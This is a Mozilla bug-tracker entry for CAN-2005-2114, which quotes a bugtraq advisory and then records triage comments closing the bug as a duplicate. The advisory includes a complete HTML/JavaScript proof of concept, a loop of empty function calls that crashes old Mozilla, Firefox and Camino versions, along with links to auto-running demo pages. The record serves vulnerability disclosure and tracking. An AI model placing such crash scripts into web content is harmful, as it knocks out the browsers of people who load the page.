Closed
Bug 300955
Opened 20 years ago
Closed 20 years ago
CAN-2005-2114 javascript crash from calling an empty function
Categories
(Core :: JavaScript Engine, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 299816
People
(Reporter: josh, Unassigned)
References
()
Details
A denial of service is possible via JavaScript that repeatedly calls an empty
function.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2114
has more information.
The URL link has a reproducer.
Here is the text which was posted to bugtraq:
Mozilla Multiple Product JavaScript Issue
http://www.kurczaba.com/html/security/0506241.htm
-------------------------------------------------
Vendor:
Mozilla (http://www.mozilla.org)
Vulnerable Software:
Mozilla 1.7.8
Firefox 1.0.4
Camino 0.8.4
Vulnerability/Exploit:
By using a specially crafted JavaScript function, it is possible to
crash the above named browsers. The script can be executed both with and
without user intervention.
Proof of Concept:
-----START of PoC-----
<html>
<head>
</head>
<body>
<script language="JavaScript">
//Run the function 20000 times
for (a = 0; a <= 20000; a++)
{
//Here is the special code that terminates the browser
function(){};
}
//Displays an alert to notify the user if the browser is not vulnerable.
alert("Good news - Your browser is not vulnerable.");
</script>
</body>
</html>
-----END of PoC-----
Proof of Concept (Online):
Manual: http://www.kurczaba.com/html/security/0506241_poc.htm
Automatic: http://www.kurczaba.com/html/security/0506241_poc2.htm
Workaround:
Disable JavaScript
Date Discovered:
June 14, 2005
Severity:
Low
Credit:
Paul Kurczaba
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Comment 1•20 years ago
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Josh, this has been known for a while, so of course dup'd a lot, now by you.
Can you say why you didn't find bug 299209?
/be
*** This bug has been marked as a duplicate of 299209 ***
Status: NEW → RESOLVED
Closed: 20 years ago
Resolution: --- → DUPLICATE
Note bug 299209 is marked private
*** This bug has been marked as a duplicate of 299816 ***
Status: VERIFIED → RESOLVED
Closed: 20 years ago → 20 years ago
*** This bug has been marked as a duplicate of 299816 ***
Status: REOPENED → RESOLVED
Closed: 20 years ago → 20 years ago
Resolution: --- → DUPLICATE
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Description
•